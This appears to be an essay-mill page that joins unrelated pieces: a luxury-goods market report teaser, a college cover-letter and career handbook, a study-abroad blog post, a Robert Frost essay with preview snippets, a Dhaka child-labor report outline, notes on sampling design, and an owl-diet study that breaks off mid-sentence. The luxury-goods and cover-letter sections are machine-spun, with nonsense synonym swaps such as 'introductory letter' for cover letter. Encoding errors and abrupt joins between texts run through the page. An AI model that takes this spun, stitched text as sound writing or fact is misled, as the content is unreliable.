Luxury Goods in Hong Kong, China Essay

Extravagance merchandise encountered a stoppage in current worth development for 2012 against 2011, to a great extent credited by the precarious monetary conditions achieved by the 2011 Euro emergency just as the easing back down of the Chinese economy. While consumers’ notions were still generally solid, spending kept on inclining towards an increasingly mindful end. Devaluation of Euros additionally observed more customers making a beeline for Hong Kong for occasions and thusly buying extravagance products from that point to exploit the. Euromonitor International’s Luxury Goods in Hong Kong, China report offers an extensive manual for the size and state of the Luxury Goods showcase at a national level. It gives the most recent retail deals information, permitting you to recognize the segments driving development. It recognizes the main organizations, the main brands and offers vital investigation of key components impacting the market and their consequences for Luxury Goods retailing alongside the improvement of consumers’ shopping designs. Estimates to 2017 outline how the market is set to change. Purchase a Report Copy @ http://www.rnrmarketresearch.com/contacts/purchase?rname=88087. Item inclusion: Designer Apparel (Ready-to-Wear), Fine Wines/Champagne and Spirits, Luxury Accessories, Luxury Cigars, Luxury Electronic Gadgets, Luxury Jewelry and Timepieces, Luxury Travel Goods, Luxury Writing Instruments and Stationery, Super Premium Beauty and Personal Care.Data inclusion: advertise sizes (memorable and figures), organization shares, brand offers and appropriation information. Why purchase this report? †Get a point by point image of the Luxury Goods showcase; †Pinpoint development parts and recognize factors driving change; †Understand the serious condition, the market’s significant players and driving brands;

Cover Letter Handbook Essay

Register in the AIC Career Services database to see low maintenance and all day employments, work study openings, and temporary positions in the Career Services site page. View MonsterTrak employments (occupations requiring 1-3 years) experience straightforwardly through the Career Services Job database. AIC Career Services is situated in the Campus Center. Email: careerservices@aic.edu or call 413-205-3237 to plan an arrangement Visit the school website page at www.aic.edu, get to the Career Services connect to enroll. WHAT IS A COVER LETTER? An introductory letter is an application or letter of enthusiasm for a specific activity whether requested from ad or non-requested. An introductory letter ought to consistently be incorporated with a resume. An introductory letter acquaints an occupation tracker with a business and demonstrates a longing for a meeting with that business. THREE COMPONENTS TO A COVER LETTER 1. First Paragraph: States the ideal position and how you found out about the activity. Occupation trackers discover business openings through the paper, school, a worker of the organization, or the Internet. 2. Second Paragraph: Includes the body of the letter and clarifies why you ought to be employed by depicting how your work experience qualifies you for the activity. Allude the business to the resume while portraying capabilities. In any case, don't rehash a similar data that is in the resume. Show why you are keen on the organization. (Utilize a third passage to additionally clarify your capabilities and interests if vital). 3. Last Paragraph: Indicates a craving for a meeting. Incorporate contact data and demonstrate the sort of reaction you envision from the letter. Continuously detail how you will catch up on your application. Except for school areas, never end the introductory letter with â€Å"look forward to got notification from you soon.† A business (other than school locale) may notâ call applicants so it is inadequate to place the ball in the employer’s court. As a first year recruit, your fundamental concern is most likely what MAJOR to pick. There are a wide range of approaches to assist you with deciding a potential major: 1) Get input from loved ones or the individuals who realize you best. Regularly, they can impart to you what abilities or properties you have and this can help you in your choice to pick a significant or potential vocation. Make sure to utilize their criticism just as help with your dynamic, and not as severe guidance. 2) Take a qualities/abilities/interests assessment, for example, FOCUS that will help to figure out what sort of profession you are keen on and furthermore help with picking a significant. 3) Gain understanding. Frequently, the most ideal approach to make sense of your profession way or major is to pick up involvement with fields that you are keen on. Search for a late spring activity or low maintenance work during school that will assist you with picking up involvement with a field that you are keen on. You can visit the vocation community or quest online for work. 4) Get engaged with exercises/gatherings/boards of trustees on your grounds. This won't just be an approach to mingle and construct connections, but at the same time is an approach to increase further understanding and abilities, for example, administration, collaboration, network administration, and so forth. 5) Take your general training necessities first. This will assist you with concentrating on future courses that will assist you with accomplishing your vocation objectives. SOPHOMORE 1) Start to set objectives for yourself: both Career and Personal: Examples: I will find a mid year line of work that I am keen on I will deal with my association abilities I will get deal with my examination abilities and keep up my GPA 2) Do your best in school! Potential businesses esteem a worker with passing marks and high scholastic accomplishment. Doing great in school exhibits that you have inspiration, assurance, and astuteness. 3) Start dealing with a resume and introductory letter that can be given to potential bosses. The vocation community offers introductory letter and resume-composing help. 4) Browse vocation writing in the profession office or look online at changed occupations you are keen on and the abilities that each activity requires. JUNIOR 1) Look into entry level positions that line up with your course of study. To begin with, approach your guide for contacts who offer entry level position encounters. The profession community is an incredible spot to look for temporary positions. 2) Start building up a certification bundle that can be sent to businesses. This parcel will incorporate your resume, transcript, references, qualification/confirmation documentations, and whatever other documentation that will improve your chance to get utilized. 3) Attend workshops that will construct certain abilities relating to your field of study and go to any profession administrations workshops that are advertised. 4) Update your resume intermittently and have somebody in the vocation office edit it alongside any refreshed introductory letters. SENIOR 1) Job search: Utilize the help of the profession office and online sites. Going to work fairs is likewise an incredible method to meet managers. 2) Join relationship inside your field of study at a lower understudy rate. These enrollments will likewise add qualifications to your resume. 3) Mock meeting: Practice your talking abilities with a vocation administrations proficient. 4) Maintain your accreditation parcel that the profession community can keep on document for you to convey to potential bosses TIPS: Deal with yourself: genuinely and intellectually. Make a point to get a lot of rest and eat well. Practicing can likewise decrease pressure and lift vitality levels. Systems administration: The more individuals you know in a field that intrigues you, the better your opportunity is of getting a situation in that field. Make yourself known to the individuals who have associations and soon, you will have associations of your own. Keep alternatives open. Your ideal occupation may not be the first you get and being available to different areas, compensations, or populaces can assist you with accomplishing a vocation that will offer you the experience you requirement for future undertakings. Acquaint yourself with the most recent innovation in the profession field you are keen on seeking after. Being learned of current innovation is constantly an astounding advantage for have and makes you progressively attractive.

Masquerading as a Liberal Arts Student

Masquerading as a Liberal Arts Student Every time I check my email (incredibly, only once every few days) I am reminded that I am not at MIT. I am away from the buzz that defines the campus surrounding 77 Mass Ave, but instead immersed in the organized chaos that is Hanoi, Vietnam, the last stop on my semester long comparative urban studies study abroad program. When the semester began, I came to the realization that I had undertaken more than just an international study abroad program, but that I also dove head first into a liberal arts ‘immersion’ program. As someone used to equations, numbers and problem sets, a semester spent reflecting about how an experience made you feel, and debriefing and debating academic concepts is quite a change. My semester abroad has been more than an international experience but has also given me a glimpse into the life of a liberal arts student, a life very different from those we live at MIT. Without the constant stream of problem sets and equations, I sometimes forget that I am actually on an academic program. While I have been throwing numbers into my classes when I can (I counted traffic today!), for the most part our studies are focused on three main areas and the concepts that surround them: urban planning, political science and anthropology. I have learned new ways to look at the world and observe my surroundings, not just from the new cultures we have visited, but also from my fellow classmates, liberal arts students from around the country. Although I have taken and enjoyed many humanities classes at MIT, this semester has given me a much greater appreciation for what it means to study the humanities. I have often heard from classmates at MIT that they wish the HASS requirements would just disappear, but the lesson I have learned this semester is that they are vital to understanding how the world works. Nothing can be done without consideration for politics, for society, for the environment. Behind every robot is an underlying purpose and need. While the liberal arts environment on IHP involves some kitch, lots of skits and picture drawing for my taste, I have learned an incredible amount that never would have been possible in a traditional academic environment and it has been immensely beneficial for me to understand the ‘other side’ of academia. I am assured that not all Liberal Arts Colleges use quite the same number of skits, they do encompass many of the same concepts. I think we all know someone at an LAC and I am sure that at one point, you realized that your college experience is very different from theirs. This post has been several months in the making, as I navigate limited internet, lots of exploring and lots of host family interaction. My experience abroad has been incredible so far, not just because of the experiences I have had in Brazil, South Africa and now Vietnam, but also because I have encountered a type of person and a way of learning different than I have encountered at MIT. Basically what I want to say is that every MIT student should study abroad because it is an enriching experience and exposes you to a wide range of types of people and cultures (and not just ones from other countries; brochure answer, I know). Lots of people at MIT say they don’t want to study abroad because they only have four years at MIT, but the experiences you can have abroad are also once-in-a-lifetime experiences. It will help put your five-year plan (which I am sure lots of you have) into perspective and help you define what you want to do in an ever increasing global context. The program I am currently abroad with is called International Honors Program: Cities in the 21st Century. It is a comparative urban studies program focused on experiential learning. It is by no means a traditional study abroad program, but the constant travel has helped fulfill my wanderlust. While it is great to do MISTI for a summer (they just added Chile!), but study abroad is its own unique experience. So go talk to the GECD. To try and entice you a different way, I will leave you with some pictures as a last thought… One of the few calm places in Hanoi The view from our classroom window in Hanoi Table Mountain juxtaposed with a street art project in Woodstock, Cape Town, South Africa Sao Paulo, Brazil The Heidelburg Project, Detroit

Nature Of A Man By Robert Frost - 1279 Words

Nature of a man Throughout history, literature has been studied, perfected, and created. There are multiple different dialects, forms, and grammar. In poetry, the way an artist writes their poetry shows how they wanted their work to be perceived. Robert Frost wrote his work in common folk dialect, unlike many writers of his time. Frost’s poems Design, Road not taken, and my November guest exemplify his use of diction, imagery, and word choice to show situations in a natural form, which made Frost so popular to so many varied audiences. Robert Frost’s poetry is in between the lines of modern poetry and 19th century works. In most of his poetry, he uses simple meter and verse. Frost believed that the form of a poem showed the context, therefore his poems were written in simple form to show conversation and interaction in most cases. Also, he believed that the writer and the thinker be set apart. In a 1932 letter to Sydney Cox, Frost explained his conception of poetry: â⠂¬Å"The objective idea is all I ever cared about. Most of my ideas occur in verse.... To be too subjective with what an artist has managed to make objective is to come on him presumptuously and render ungraceful what he in pain of his life had faith he had made graceful.† In this, Frost is showing the need of two directions in poems, the artist point and one from the emotional point, which he establishes in most of his works.†¨ Frost had a very hard life, dealing with multiple deaths and hardships, which wereShow MoreRelatedRobert Frost: Man and Nature773 Words   |  4 Pagesmany authors techniques and ideas of Poetry. Robert Frost was one such example, that used Romanticism in his poetry writings. Robert Frost uses his poetry to establish a relationship between man and nature, by showing how nature can console, teach and impact choices made by mankind. In Birches the connection between man and nature is the recollection of childhood memories that comforts and consoles man. For example, when the narrator observes nature he states When I see birches bend to leftRead MoreRobert Frost Essay1396 Words   |  6 PagesRobert Frost Robert Frost is one of the few twentieth century poets to receive critical acclaim and popular acceptance (Magill 728). His simplistic style appeals to the novice and expert poetry reader alike. Robert Frosts understated emotional appeal attracts readers of all literary levels. Frost develops subtly stated emotions and a clever use of imagery in his poetry. Influences on his poetry include his family, work, and other life experiences (Oxford 267). Frost also works to developRead MoreRobert Frost s Writing Style1589 Words   |  7 Pages Robert Frost once said, â€Å"The figure a poem makes. It begins in delight and ends in wisdom... in a clarification of life - not necessarily a great clarification, such as sects and cults are founded on, but in a momentary stay against confusion† (Robert Frost Quotes). This same kind of thinking opened the door for metaphorical poetry that helped to show the poets transparency. His love for the social outcast and the struggles of his life are exhibited greatly in his poems. Robert Frost helpedRead MoreEssay about Analysis of the Poems of Robert Frost1316 Words   |  6 Pagesthan Robert Frost. Robert Frost is a poet that is well known for his poetic contributions to nature, as well as his award winning poems. His poetic ability and knowledge make him an extraordinary author. His past; including schooling, family, and the era in which he wrote influenced nearly all of his poems in some way. This very famous poet contributed to the modernism era, had a family and an intere sting life story, and a unique poetic style as well. The literary era in which Robert Frost wroteRead MoreRobert Frost Conversational Style1720 Words   |  7 PagesDamoui Daniel Yu Writing 30 10 June 2012 Robert Frost’s Conversational Style and Mock-Heroic Tone My portfolio consists of a collection of both heroic and tragic poems that incorporate the blank verse form. These poems imitate Robert Frost’s mock-heroic dialogue and conversational style. Three of these poems in particular, â€Å"The Boxer†, â€Å"The Boy In My Dreams,† and â€Å"The Interview† draw from Frederick Turner’s â€Å"The Neural Lyre† and Maurice Charney’s â€Å"Robert Frost’s Conversational Style,† in attemptingRead MoreEssay about Biography of Robert Frost1222 Words   |  5 PagesBiography of Robert Frost Robert Frost is perhaps one of Americas best poets of his generation. His vivid images of nature capture the minds of readers. His poems appear to be simple, but if you look into them there is a lot of insight. Robert Frost spoke at John F. Kennedys inauguration. He is the only poet to have had the opportunity to speak at a presidential inauguration. Through his poetry people learn that Robert Frost is a complicated and intellectual man who has a place in manyRead More Life and Death in Frosts Stopping by Woods and Thomas Do Not Go Gentle 1545 Words   |  7 PagesGentle  Ã‚   Robert Frosts Stopping by Woods on a Snowy Evening and Dylan Thomas Do Not Go Gentle into That Good Night reflect deeply on both life and death. Frost interprets death as rest and peace from a hard and deserving life, whereas Thomas depicts death as an early end to an unfulfilled life. Contrary to Thomass four characters who rage against death because of its premature arrival, Frosts speaker accepts death but is inclined to live for promises; therefore both Frost and Thomas chooseRead MoreEssay on Symbols and Symbolism in the Poems of Robert Frost1463 Words   |  6 PagesPoems of Robert Frost    Nature has inspired countless poets from primitive times to the present. They have used it as a metaphor for virtually all human emotions-his stormy brow, her sky blue eyes, as wild as a summer storm. Very few, however, have so masterfully crafted their verse to fully express the range of nature’s power and influence, or suited the tone of a poem to encompass both human nature and ‘true’ nature. This is true in the poetic works of Robert Frost. The aspects of nature thatRead MoreEssay On Robert Frost1194 Words   |  5 PagesRobert Frosts Life and Accomplishments â€Å"Dont ever take a fence down until you know why it was put up.† What a great quote by Robert Lee Frost, and there remain many of more that he wrote. Robert Frost wrote many of his best poems on several levels of meaning. He was one of best and most loved and respected poets. He did a great job capturing the hearts of his audience with his natural imagery and ability to use many metaphors to reveal the realism that he was trying to create. However, RobertRead MoreEssay on The Intricate Meanings of Robert Frost s Poetry784 Words   |  4 PagesRobert Frost is considered by many to be one of the greatest poets of the twentieth century. Frost’s work has been regarded by many as unique. Frost’s poems mainly take place in nature, and it is through nature that he uses sense appealing-vocabulary to immerse the reader into the poem. In the poem, â€Å"Hardwood Groves†, Frost uses a Hardwood Tree that is losing its leaves as a symbol of life’s vicis situdes. â€Å"Frost recognizes that before things in life are raised up, they must fall down† (Bloom

Child Labor in Dhaka City - 5460 Words

Child Labor In Dhaka City Child Labor in Dhaka City The Report is based on Secondary Data and current Socio Economic situation of Dhaka. By, Group: ILLUMINATI A Report by Illuminati Page 1 Child Labor In Dhaka City Prof. Ahmed, Dr. A. N. Neaz Course: Economical Geography Department: Economics Faculty: Faculty of Arts Social Science (FASS) American International University-Bangladesh (AIUB) Kamal Ataturk Avenue, Banani Dhaka-1213, Bangladesh Dear Prof. Neaz Here is the report on the topic â€Å"Child Labor in Dhaka City Their Social Economical situation in the society.† To aid you to understand the present social economical situation of the child labors in the capital city of Bangladesh, Dhaka we gathered what we believe to be the†¦show more content†¦8 SOME STATISTICAL DATA ABOUT CHILD LABOR.................................. 9 CAUSE OF CHILD LABOR............................................................................... 10 o POPULATION AND POVERTY--------------------------------------------------10 o LOSS OF LAND -----------------------------------------------------------------10 o DISAPPEARANCE OF THE FATHER --------------------------------------------11 o INDEBTEDNESS ----------------------------------------------------------------11 o VICTIMS OF MIGRATION ------------------------------------------------------11 o ILLITERACY IGNORANCE ---------------------------------------------------12 o DEMAND FOR CHILD LABOR IN SOCIETY -----------------------------------12 SITUATION IN DHAKA CITY........................................................................ 13 o TYPES OF WORK ---------------------------------------------------------------13 o WORKING ENVIRONMENT LIVING CONDITION--------------------------14 o CHILD LABOR AND BEGGAR BUSINESS -------------------------------------18 PROFILE OF THE CHILDREN........................................................................ 19 Jainal: ........................................................................................................... 19 Liyakot:Show MoreRelatedProblems Faced By The Great Cities Of The Slums1683 Words   |  7 Pagesdiscusses Karl Marx and Webber’s social theory that â€Å"believed that the great cities of the future would follow in the industrializing footstep of Manchester, Berlin and Chicago† where movement from rural to urban centers equaled the growth of manufacturing and continual increase of wage labor (Davis 2006, 16). From this development, there was also supposed to be an increase in agricultural productivity to feed populated cities through the implementation of large-scale, modern farming techniques. HoweverRead MoreThe Universal Declaration Of Human Rights1537 Words   |  7 Pagesworldwide cannot read (New Tactics in). This lack of education issue began when the UN General Assembly adopted the Convention on the Rights of the Child, which, among other po licies, calls on every country to enact legislation that will reduce both social and financial barriers to staying in school. However, 25 years after committing to protect every child s right to education, some of these governments have not followed through on their promise (Heymann). Especially in developing countries, not onlyRead MoreShould Child Labor Be Safer?1642 Words   |  7 Pagesbuy cheap fashion without realizing the consequence for the children who made it. Before I began researching how child labor runs in the common fashion business, I wanted to know if child labor was the cause of big companies in the twentieth century or if it has been around longer than big corporations who use children for their product. I found in the United States of America child labor began around the eighteen hundreds: When the Industrial Revolution started, many families had to find someone toRead MoreEssay Sweat, Fire and Ethics by Bob Jeffcott 743 Words   |  3 Pagesshopping.† Sweatshops was coined in the United States far back as the late 1800s and it describes the inhuman treatment and discipline given by the owners or factory managers to get the sweat as much profit as humanly possible from their workers’ labor. In this article he tries to prove his point of view of the sweatshop by proving and stating how the women suffer being there just so in the end we can have a brand accessory like Nike or Gap. Also he talks to his audience because he mentions thatRead MoreEssay on Behind the Scenes of the Garment Industry in Bangladesh.1825 Words   |  8 Pagesmarket are falling. Yet, the bad image these retailer chains have received through many ethical consumption boycott campaigns does not always portray the full picture of this very complex issue. Following my meeting with major buyers based here in Dhaka, I have learned that both Tesco’s and Sainsbury’s have commitments (tho not sufficient), to the social welfare and advancement of their workers and have integrated social compliance schemes and established workers’ training academies. While this isRead MoreThird World Sweatshops1397 Words   |  6 Pagessuch as China, Indonesia, and Haiti have readily abundant cheap labor. There should be labor laws or an obligation of respecting workers to provide decent working conditions, fair wages, and safety standards. To begin with, improve their working conditions. Promulgated mental and physical abuses sweatshops don’t delivered alleviate poverty. Poor working conditions have been around for centuries. Here in America, we have a stronger labor laws than most undeveloped countries, but it is not free of sweatshopsRead MoreChild Labour in Bangladesh Industry9607 Words   |  39 Pagesthe industrialization. Among those the child labour problem is the worst of its kind. Though In Bangladesh the unemployment rate is about 6.2 corer but in the labour force the child labour is very alarming. 8 % of children (5-14 years) in child labour (1999-2003) 10% of male children (5-14 years) in child labour (1999-2003) 5% of female children (5-14 years) in child labour (1999-2003) These are the situation according to UNICEF about the child labor position in Bangladesh. Later we shallRead MoreSatallite Tv Channel6318 Words   |  26 Pagesage of people in Dhaka. Day by day its demand is increasing rapidly in Dhaka city. These satellite programs have lots of impact in our day to day life but having instead of good effect bad comes first like they are causing very worse influence over the people of Dhaka city and are also affecting the cultural life. Our culture based on some social value, norms, language, tradition which are getting affected to some worse due to these very satellite channels. To know how people of Dhaka are affected byRead MoreNivea Presentation3606 Words   |  15 Pagesthese countries. Methodology: Specific Product Selection: General Trade area. Discussions Country’s marketing environment Geography Area: 357,114 sq. km. (137,846 sq. mi.); about the size of Montana. Cities (2007): Capital--Berlin (population about 3.41 million). Other cities--Hamburg (1.77 million), Munich (1.31 million), Cologne (995,000), Frankfurt (644,000), Essen (582,000), Dortmund (586,000), Stuttgart (597,000), Dusseldorf (581,000), Bremen (547,000), Hanover (518,000). Terrain:Read MoreWomen Entrepreneurs in Bangladesh: a Case Study on Boutique Business10735 Words   |  43 PagesStudy: The main objective of this study is to fulfill the academic requirement as well as to gather practical and theoretical knowledge about the potential of business expansion of Women Entrepreneurship in Bangladesh especially in Dhaka amp; Chittagong amp; metropolitan city in the field of boutique business, its socio – economic impact, prospect, future outlook and also to identify problems and suggest guidelines. Following are the specific objectives of the study: * To know present scenario of

Sample design for Blackberry Free Essays

In sampling, an element is the object (or person) about which or from which the information is desired. In survey research, the element is usually the respondent. A population Is the total of all the elements that share some common set of characterlstlcs. We will write a custom essay sample on Sample design for Blackberry or any similar topic only for you Order Now Element: Objects that possess the information the researcher seeks and about which the researcher will make inferences. Population: The aggregate of all elements, sharing some common set of characteristics, that comprise the universe for the purpose of the marketing research roblem. The researcher can obtain Information about population parameters by taking either a census or a sample. Census: a complete enumaration of the elements of a population or study objects. Sample: A subgroup of the elements of the population selected for participation in the study. sample Large Time available Population size the characteristics Conditions Favoring the use of Factors census Budget Short Large Small small Long Small Variance in Large Cost of sampling error High Cost of nonsampllng errors High Low Nature of measurement Nondestructive Attention to individual cases No Advantages of Sampling Sampling saves time and money Sampling saves labor. Destructive Yes A sample coverage permits a higher overall level of adequacy than a full enumeration. Complete census Is often unnecessary, wasteful. and the burden on the public. 1) Define the Population: Sampling design begins by specifying the target population, which should be defined in terms of elements, sampling units, extent and time frame. Population/Target population: This is any complete, or the theoretically specified aggregation of study elements. It is usually the ideal population or universe to which esearch results are to be generalized. Survey population: This is an operational definition of the target population; that is target population with explicit exclusions-for example the population accessible, excluding those outside the country. Element (similar to unit of analysis): This is that unit about which information is collected and that provides the basis of analysis. In survey research, elements are people or certain types of people. Sampling unit: This is that element or set of elements considered for selection in some stage of sampling (same as the elements, in a simple single-stage sample). In a ulti-stage sample, the sampling unit could be blocks, households, and individuals within the households. Extent: This refers to geographical boundaries. Time frame: The time frame is the time period of interest. In our case; Population/ target population = Blackberry users Survey population = Blackberry users between the age of 18-24, which refers to university students regarding the demographical factors. Elements = Blackberry users who are university students Sampling Unit = Blackberry users in the Business Administration Faculty of Istanbul University. Extent = Business Administration Faculty of Istanbul University Time Frame = 2 weeks between 4-15 November Given the large size of the target population and limited time and money, it was clearly not TeaslDle to Intervlew tne entlre BlacKDerry users, tnat Is, to take a census. So a sample was taken, and a subgroup of the population was selected for participation in the research. Our sample/ subgroup can be seen above. 2) Determine the Sampling Frame: A sampling frame is a representation of the elements of the target population. To be specific, this is the actual list of sampling units from which the sample, or some stage of the sample, is selected. It is simply a list of the study population. Sampling frame of our case = List of the students in the Business Administration Faculty of Istanbul University. 3) Select a Sampling Technique: Selecting a sampling technique involves choosing nonprobability or probability sampling. Nonprobability sampling : relies on the personal Judgement of researcher, rather than chance in selecting sample elements. Convenience Sampling: as the name implies, involves obtaining a sample of elements based on the convenience of the researcher. The selection of sampling units is left primarily to the interviewer. Convenience sampling has the advantages of being both inexpensive and fast. Additionally, the sampling units tend to be accessible, easy to measure, and cooperative. Judgement Sampling: The researcher selects the sample based on Judgement. This is usually and extension of convenience sampling. For example, a researcher may decide to draw the entire sample from one â€Å"representative† city, even though the population includes all cities. When using this method, the researcher must be confident that the chosen sample is truly representative of the entire population. Quota Sampling: introduces two stages to the Judgemental sampling process. The first stage consists of developing control categories, or quotas, of population elements. Using Judgement to identify relevant categories such as age, sex, or race, the researcher estimates the distribution of these characteristics in the target population. Once the quotas have been assigned, the second stage of the sampling process takes place. Elements are selected using a convenience of Judgement process. Considerable freedom exists in selecting the elements to be included in the sample. The only requirement is that the elements that are selected fit the control characteristics. Snowball sampling: is a special nonprobability method used when the desired sample characteristic is rare. It may be extremely difficult or cost prohibitive to locate respondents in these situations. Snowball sampling relies on referrals from initial subjects to generate additional subjects. While this technique can dramatically lower search costs, it comes at the expense of introducing bias because the technique itself reduces tne II population. Kellnooa tnat tne sample wlll represent a good ross section Trom tne Probability sampling: in this kind sampling elements are selected by chance, that is, randomly. The probability of selecting each potential sample from a population can be prespecified. Simple Random Sampling: is the purest form of probability sampling. Each member of the population has an equal and known chance of being selected. When there are very large populations, it is often difficult or impossible to identify every member of the population, so the pool of available subjects becomes biased. Systematic Random Sampling: is often used instead of random sampling. It is also alled an Nth name selection technique. After the required sample size has been calculated, every Nth record is selected from a list of population members. As long as the list does not contain any hidden order, this sampling method is as good as the random sampling method. Its only advantage over the random sampling technique is simplicity. Systematic sampling is frequently used to select a specified number of records from a computer file. Stratified Random Sampling: is commonly used probability method that is superior to random sampling because it reduces sampling error. A stratum is a subset of the opulation that share at least one common characteristic. Examples of stratums might be males and females, or managers and non-managers. The researcher first identifies the relevant stratums and their actual representation in the population. Random sampling is then used to select a sufficient number of subjects from each stratum. â€Å"Sufficient† refers to a sample size large enough for us to be reasonably confident that the stratum represents the population. Stratified sampling is often used when one or more of the stratums in the population have a low incidence relative to the other stratums. Cluster Sampling: may be used when it is either impossible or impractical to compile an exhaustive list of the elements that make up the target population. Usually, however, the population elements are already grouped into subpopulations and lists of those subpopulations already exist or can be created. For example, let’s say the target population in a study was church members in the United States. There is no list of all church members in the country. The researcher could, however, create a list of churches in the United States, choose a sample of churches, and then obtain lists f members from those churches. ) Determine the Sample Size: The statistical approaches to determining sample size are based on confidence intervals. These approaches may involve the estimation of the mean or proportion. When estimating the mean, determination of sample size using a confidence interval approach requires a specification of precision level, confidence level, and population standard devia tion. In the case of proportion, the precision level, confidence level, and an estimate of the population proportion must De speclTlea. I ne sample size aetermlnea statlstlcally represents ne Tlnal or net sample size that must be achieved. In order to achieve this final sample size, a much greater number of potential respondents have to be contacted to account for reduction in response due to incidence rates and completion rates. Non-response error arises when some of the potential respondents included in the sample did not respond. The primary causes of low response rates are refusals and not-at-homes. Refusal rates may be reduced by prior notification, motivating the respondents, incentives, proper questionnaire design and administration, and follow- up. The percentage of not-at-homes can be substantially reduced by callbacks. Adjustments for non-response can be made by subsampling non-respondents, replacement, substitution, subjective estimates, trend analysis, weighting, and imputation. The statistical estimation of sample size is even more complicated in international marketing research, as the population variance may differ from one country to the next. A preliminary estimation of population variance for the purpose of determining the sample size also has ethical ramifications. The Internet and computers can assist n determining the sample size and adjusting it to a count for expected incidence and completion rates. Sampling distribution: the distribution of the values of a sample statistic computed for each possible sample that could be drawn from the target population under a specified sampling plan. Statistical inference: the process of generalizing the sample results to the population results. Normal distribution: a basis for classical statistical inference that is bell shaped and symmetrical and appearance. Its measures of central tendency are all identical. Standard error: the standard deviation of the sampling distribution of the mean or proportion. Z values: the number of standard errors in point is away from the mean Incidence rate: the rate of occurrence of persons eligible to participate in a study expressed as a percentage Completion rate: the percentage of qualified respondents to complete the interview. It enables researchers to take into account anticipated refusals by people who qualify Substitution: a procedure that substitutes for nonrespondents other elements from the sampling frame that are expected to respond I rena analysis: a metnoa 0T a0Justlng Tor nonresponaents In wnlcn tne researcner tries to discern a trend between early and late respondents. This trend is projected to nonrespondents to estimate their characteristic of interest Weighting: statistical procedure that attempts to account for non-response by assigning differential weight to the data depending on the response rate Imputation: a method to adjust for non-response by assigning to characteristic of interest to the nonrespondents based on the similarity of the variables available for both nonrespondents and respondents. How to cite Sample design for Blackberry, Papers

The Comparison Of Diets Of Owl Essay free essay sample

, Research Paper Comparing the Feeding Habits of Barn Owls and Screech Owls Background Owls are comprised of two closely related households in the avian order Strigiformes-the barn bird of Minerva, or Tytonidae, and the typical bird of Minerva, or Strigidae. Owls are comparatively big birds, with a large caput and short cervix, a aquiline beak, talons adapted to prehend quarry, and soft, heavy feather adapted for Swift yet about soundless flight. Owls have big eyes located on the forepart of their face. The eyes are about fixed in their sockets, so that the full caput must be rotated or bobbed for the regard to be shifted and for distance to be assessed. Owls have first-class hearing and really big ears, although these are covered by plumes and are non readily seen. The ears are placed unsymmetrically on the caput to assistance in observing the location of distant, about soundless quarry. Their sense of hearing is likely besides aided by their facial disc, which helps to concentrate sound moving ridges onto the ears. We will write a custom essay sample on The Comparison Of Diets Of Owl Essay or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page An bird of Minerva # 8217 ; s sense of hearing is so acute that it can accurately strike its quarry in entire darkness, following the squeaks and rustling sounds created by a little mammal in gesture. The sex of an bird of Minerva is non easy to separate, although typically, female bird of Minerva are larger than males. Owls Begin to incubate their eggs as they are laid. When hatching occurs it is consecutive, and different-sized immature are in the nest at the same clip. During old ages when quarry is comparatively abundant, all of the immature will hold plenty to eat and may last. In leaner old ages, nevertheless, merely the largest immature may be fed adequately. ( Egan, T. ( 1994 ) . Oregon, Foiling Forecasters, Thrives as it protects owls. New York Times, October 11, pg A1, A19 ) Most bird of Minervas are nocturnal marauders, largely feeding on little mammals and birds, and sometimes on little reptilians, toads, larger insects, and angleworms. A few specialised bird of Minervas feed on fish. Owls are known to alter their nutrient penchant, depending on local or seasonal handiness. Most owls do non digest the pelt, plumes, or castanetss of their quarry, and they regurgitate these points as pellets, which can be collected at roosts and examined to larn about the eating wonts of these birds. Barn bird of Minerva The barn bird of Minerva are a distinctive-looking group, with a characteristic like facial disc of stiff, white plumes, dark eyes, long legs that separate them from typical bird of Minerva. All barn bird of Minervas are nocturnal marauders, and their quarry consists largely of little mammals. There are nine species of barn bird of Minerva ( genus Tyto ) and two species of closely related grass bird of Minerva ( genus Phodilus ) . The most familiar species is the barn bird of Minerva ( Tyto alba ) . The barn bird of Minerva is one of the most widely distributed species of birds, happening on all continents except Antarctica. The barn bird of Minerva is the lone representative of this household in the Americas, happening uncommonly through most of the United States and in much of Central and South America. The barn bird of Minerva nests in pits in trees and in barns and abandoned edifices, and it hunts at twilight and at dark over fens, prairies, Fieldss, and farmyards. Screech Owl The screech-owl ( Otus kennicotti ) is a comparatively familiar species in forests of temperate parts. This 8.5 # 8243 ; ( 22 centimeter ) long species occurs in several colour phases-grey, ruddy, and brown-and it nests in pits and sometimes nestboxes. Owl Pellets The mean owl pellet contains castanetss and other non-digestible points such as hair and plumes. After the bird has eaten its quarry ; the quarry is digested into the ventriculus where grinding occurs. After crunching the bird # 8217 ; s ventriculus makes a ball of the indigestible stuff, is expelled by oral cavity. An mean bird of Minerva can bring forth an norm of one to two pellets a twenty-four hours. John Day, Oregon The John Day country is considered a semi-arid desert part. John Day, Oregon is located at Latitude 44.418427 and Longitude -118.949399, which is 125 stat mis south of Pendleton, Oregon in Eastern Oregon. A desert is an waterless land country, one that loses more H2O through vaporization, than it additions through precipitation-rain, sleet, or snow. These countries by and large receive fewer than 10 in ( 250 millimeter ) of H2O yearly. Average one-year precipitation in the universes comeuppances scopes from about 0.4-1 in ( 10-25 millimeter ) in the driest countries to 10 in ( 250 millimeter ) in semiarid parts. The term desert can besides be defined by comparing the solar energy an country receives with the its one-year precipitation Desert animate beings The many animate beings that have adapted to harsh desert life include insects, arachnoids, reptilians, birds, and mammals. Unlike workss, these animate beings can seek shelter from the searing Sun, firing cold, and strong air currents by creeping into belowground tunnels. Reptiles, whose organic structure temperature is controlled by the temperature of their environment, travel between sunshine and shadiness to remain cool. Birds, utilize metabolic H2O, behavioural versions, active at twenty-four hours or cool parts of the twenty-four hours, may be mobile and they may migrate during the harsher seasons. Merely as the seeds of desert annuals can remain hibernating for decennaries, so can those of egg-laying desert animate beings. Amphibians and freshwater runt hatch, mature, mate, and put their ain eggs rapid sequence in desert pools created by infrequent storms. Some little mammals, such as gnawers, excrete merely concentrated urine and dry fecal matters, and perspire small as a manner of conserving organic structure fluids. Desert insects protect themselves from hot dry conditions with a waxy coating, long legs that maintain them elevated above the hot land, and virtually moistureless eliminations. ( Watkins, T.H. ( 1995 ) . Desert Extraordinare. Audubon 97: 44-54. ) My inquiry is how make the Western Screech-owls and the Barn-owls diets compare. Both unrecorded in John Day part of Eastern Oregon, which make the same assortment and sum of quarry available to both of the bird of Minerva. I hypothesis that their diet will be really similar if non the same due to the same assortment of quarry that live in John Day Oregon. Both of the bird of Minervas have similar eating wonts that include quarries like Vole, mice, birds and occasional serpents. I will compare a 